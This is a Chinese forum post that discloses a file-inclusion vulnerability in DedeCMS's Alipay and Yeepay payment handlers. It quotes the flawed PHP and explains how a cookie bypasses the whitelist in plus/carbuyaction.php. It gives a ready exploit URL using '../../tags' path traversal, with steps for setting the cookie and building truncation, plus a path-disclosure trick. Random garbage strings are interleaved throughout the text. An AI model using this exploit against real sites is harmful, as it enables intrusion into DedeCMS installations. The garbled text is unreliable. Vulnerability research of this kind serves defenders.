晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)9 H% _8 s, }& Q1 Z) A9 U
0 C- e. p' [6 ]" C3 g4 O" k
出现漏洞的两个文件为:4 ? E& V/ ^$ S& F
Include/payment/alipay.php0 f4 b4 k( o: W2 y. t( a) y; u
Include/payment/yeepay.php
2 X4 h3 F- J5 C- }! g$ i漏洞均出现在respond方法里,估计这两个文件是临时工写的。( V; N/ b+ R+ i8 J7 w' n
1 f$ _: S2 p3 o7 O! {
Include/payment/alipay.php
m1 p. ^' e$ `8 M! I+ p6 `; h$ K9 d* E: `! k6 z
......3 r1 |6 d$ h$ ~" }$ j, @. c6 M
function respond()
' k2 |5 t7 e/ B, l {
8 u4 i+ f: S, |- ? if (!empty($_POST))# |# |4 h' A7 `( k2 G$ `% U0 {
{
+ G4 \. [. c, C5 f. c foreach($_POST as $key => $data)6 u! y8 ]7 q3 S5 i( E( s t) S
{
|8 ~8 W: g( _& s: e0 c$ _ e $_GET[$key] = $data;
5 z7 D' L; R" T9 F5 v6 P }1 S! V1 l1 I) _/ v" ^
}* I5 m/ Z& ]7 ~8 O" K# H( @
/* 引入配置文件 */ w" z' |9 k4 _9 Q4 m9 ~
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';3 W1 G) V* W. w1 a% A% I l
...... 8 g" J9 d( i8 F( d b2 |
$ I: s( [- i& x
* r( g- D/ R5 v: `1 W大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。9 H. M9 ~ w7 K/ ~8 ~
4 J9 _/ F$ r) v v% f4 mInclude/payment/yeepay.php5 v- ^+ X5 }; f" \/ N( r
- e& f( t Y- w2 S+ U9 o
( d2 r5 n2 a) ~8 n6 S6 p6 P9 o
' Q- q) i. ~% |0 X2 C, P3 \......( N7 ~! |# ]! a/ b* W8 S E0 W( N$ H
function respond()
5 C6 X9 F2 v3 D+ |0 W {6 }* w3 h2 {6 |! H2 g
1 v1 d4 N' C$ \( ^. ~% S; @1 P /* 引入配置文件 */6 d' |! L2 L/ g0 R. u
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';% E+ {8 G1 P4 O
2 o% C2 v" ~) A( W $p1_MerId = trim($payment['yp_account']);, R4 K1 C5 A6 Q3 l/ o4 G; v
$merchantKey = trim($payment['yp_key']);
7 ?' r0 m5 J( s+ F......
' r: x' W6 Q0 |/ u8 o& E & e7 ]# R1 p" n9 @
" P9 c5 ]8 `. c: \& K w1 M
0 x1 b" G' r4 e/ ]+ z
5 i, \: }1 V; I4 y" E+ J大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。/ w, {8 g& B& D6 b
* h& G V8 E: G: r. Y- Z+ h' V3 \5 S这两个方法在plus/carbuyaction.php文件调用。/ t6 |* m2 v% e
$ M% X) b8 a+ Y |6 t/ ^) Q8 pplus/carbuyaction.php
6 b/ m& ]; L8 B+ r$ G/ z7 Y* o6 P6 }. q2 z
......& c' V% i; k9 s) ^
} else if ($dopost == 'return') {) V9 _$ x* H' K; y3 K1 b& X
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
4 ^* ~2 I) d8 C" O) j if (in_array($code, $write_list))8 f% ~! z0 M7 W" F4 m
{
# X2 p) y! {3 d* v require_once DEDEINC.'/payment/'.$code.'.php';3 D2 Z; X( `- O! c
$pay = new $code;
& p1 ^7 J8 w2 U2 c* r% f $msg=$pay->respond();3 C2 O% o' r: s6 |) e, w0 W
ShowMsg($msg, "javascript:;", 0, 3000);; V( {8 G- Q Z6 N) L
exit();
* y6 q$ P& o3 x/ l& w; W% r# A5 D9 s } else {3 u' s0 M4 M$ I% D, s/ m
exit('Error:File Type Can\'t Recognized!');
J$ N$ V3 c" ]+ R2 @, X: L( [ }
/ b' i, N$ x+ D! F% b; U}
1 a3 P: j6 R; M# D% D( m......
( w8 i+ A, y3 V$ Q0 X. M
9 H0 [% Z8 {% k2 T: N9 ?9 i1 Z0 L- z6 a; `; C9 m/ A) h; U0 x8 N% u
3 h2 f5 g ^2 B; X' M- `6 ~2 ~
P/ e: j! m7 I' e
3 s5 l/ X; V4 W2 L
* @4 E9 {) k4 T3 G4 A% k大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。; }$ `0 ]: [: A r9 h/ [$ ^% N
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。8 J% ]0 w! B6 v! ^0 b
; \ o$ H5 m: x3 @
回到include/common.inc.php来看看他的机制。
$ I) ^) Y' b# C' Q: _0 @( g
^+ b+ k. B7 w
% o# P+ b: ~" T5 b; ^: T! T0 S) I, C. G4 d3 K* ?
......" L6 A7 F$ v. C) e7 h
foreach(Array('_GET','_POST','_COOKIE') as $_request)5 U0 `& |! S/ q: J# O3 G
{
9 `6 @7 q: o1 s6 u0 J! Z foreach($$_request as $_k => $_v) : b- Q6 E9 [# h
{
% K0 I; y8 ]! {8 B5 l0 n$ e if($_k == 'nvarname') ${$_k} = $_v;
; H9 [" ?3 G" W9 P$ w& | else ${$_k} = _RunMagicQuotes($_v);
4 F5 S2 E" c) Q# Q }* _8 U. _, @3 P$ K/ [
}2 o- l. t; ? d, k% ]( B9 A& [4 n( v
......
4 j/ @; ?7 |0 P- Z- H- ~ H( n2 I0 X大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:6 W" p6 {! u& Z; _4 W
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |